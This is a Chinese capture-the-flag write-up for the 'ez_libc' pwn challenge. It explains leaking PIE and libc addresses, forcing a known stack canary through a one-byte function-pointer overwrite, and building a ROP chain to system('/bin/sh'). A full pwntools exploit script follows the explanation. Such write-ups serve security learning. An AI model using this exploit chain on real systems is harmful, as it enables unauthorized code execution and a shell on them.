ez_libc
.png)
main函数:
.png)
sub_133B函数:
.png)
我们会发现SUB_XXXX(其实原本是unk_4XXX,但是为了方便对应它存的函数,我就把它改成对应函数的函数名的大写了)是在.bss段上的,它们在main函数和sub_133B函数中都用到了,我们可以知道它们是未赋值的全局变量,而sub_133B函数就是把一些函数的地址存到它们里面,现在这些函数的地址也被存在了.bss段上,而从 read(0, &unk_40A0, v4);我们可以直接看出.bss段是可写
sub_1298函数:
.png)
sub_12EF函数:
.png)
sub_1209函数:
.png)
这题保护全开,我们看到的漏洞点就只有在最后一行有一个栈溢出,没后门函数就要泄露libc,我们看哪里能泄露libc呢,就是puts(buf[0]),我们在前一个read中把已经调用过的函数的got地址(这里我们用read)放在buf[0]就可以获取read的libc地址,然后到https://libc.blukat.me/下载libc就行了,那我们要用read的got地址要先泄露pie,我们看到puts(buf[0])前有sub_1298有一个printf函数,是从unk_40A0(.bss段)开始输出,我们知道,C 语言的字符串是以\x00结尾的,而printf是从开始地址,打印到遇到第一个\x00字节结束,那我们可以利用这个特性,我们前面发现了.bss段上存着函数地址,那我们就可以用printf来泄露函数地址,unk_40A0在0x40A0,离他最近的第一个函数地址在0x47B0 是sub_131D函数,那我们只要从unk_40A0填充1808个字节(小端序开头不是\x00)就能让printf泄露出sub_131D的地址了,我们就成功泄露pie了
我们看能不能做到,在第一次询问我们输入1825(最多),这样我们后面的read最多就能输入1825个字符了,那我们是能够做到泄露pie的,那也就能够泄露libc,现在我们还差最后一步就是绕过canary,我们可以看到sub_1209函数,汇编代码如下:
.png)
在 x86-64 的 Linux 系统中,段寄存器fs被专门用来指向线程局部储存,而偏移量0x28就是canary,所以fs:28h实际上就是canary,那这里的意思是把canary设置成rax,那我们是可以知道rax是什么的,也就是说这个函数可以帮我们绕过canary,但是main函数中并没有调用这个函数,我们想调用这个函数那就要用函数指针劫持,我们看.bss段:
.png)
main函数在我们泄露libc之后又调用了一次read向unk_40A0段写入,然后调用SUB_12EF这个指针内的函数地址,SUB_12EF的开头距离unk_40A0的开头刚好是1824字节,地址是以小端序存储的,也就是说我们可以修改SUB_12EF指针的开头一字节(sub_12EF的最后一个字节)来调用其他函数很巧的是,刚好sub_12EF(偏移是0x12EF,最后一字节是\xEF)可以通过这一字节的改变变成sub_1209(偏移是0x1209,最后一字节是\x09),那我们就把canary的值修改成了rax,那你要确定rax是多少我这里是看汇编代码:.png)
这里看到在call前rax的值是unk_40A0这个全局变量的地址,我们有pie基址也能算出这个的地址,那我们就能在最后一个read构造rop链利用栈溢出getshell了
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./ezlibc')
elf = ELF('./ezlibc')
read_got_offset = elf.got['read']
offset1 = 0x131D # sub_131D 的偏移
p.recvuntil(b'I will give u chance\n')
p.sendline(b'1825')
p.recvuntil(b'first tell me your name\n')
payload1 = b'A' * 1808
p.send(payload1)
p.recvuntil(payload1)
leaked_pie_ptr_raw = p.recv(6) + b'\x00\x00'#填充小端序
leaked_pie_ptr = u64(leaked_pie_ptr_raw)
pie_base = leaked_pie_ptr - offset1
log.success(f"成功泄露 PIE 指针: {hex(leaked_pie_ptr)}")
log.success(f"计算出的 PIE Base: {hex(pie_base)}")
read_got_addr = pie_base + read_got_offset
p.recvuntil(b'now u can leak the libc\n')
p.send(p64(read_got_addr))
leaked_read_raw = p.recvline().strip()
leaked_read_addr = u64(leaked_read_raw.ljust(8, b'\x00'))
log.success(f"成功泄露 read@libc 地址: {hex(leaked_read_addr)}")
libc = ELF('libc.so.6')#根据泄露的libc地址下载的libc
libc_base = leaked_read_addr - libc.symbols["read"]
log.success(f"计算出的 Libc Base: {hex(libc_base)}")
rop = ROP(libc)
pop_rdi_ret_addr = libc_base + rop.find_gadget(['pop rdi', 'ret'])[0]
pop_ret_addr = libc_base + rop.find_gadget(['ret'])[0]
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
p.recvuntil(b"Is there anything else you'd like to say in the end\n")
payload2 = b'A' * 1824 + b'\x09'
p.send(payload2)
new_canary_value = p64(pie_base + 0x40A0)
payload_final = b'A' * 24
payload_final += new_canary_value
payload_final += b'A' * 8
payload_final += p64(pop_ret_addr)
payload_final += p64(pop_rdi_ret_addr)
payload_final += p64(bin_sh_addr)
payload_final += p64(system_addr)
p.sendline(payload_final)
p.interactive()
题目链接: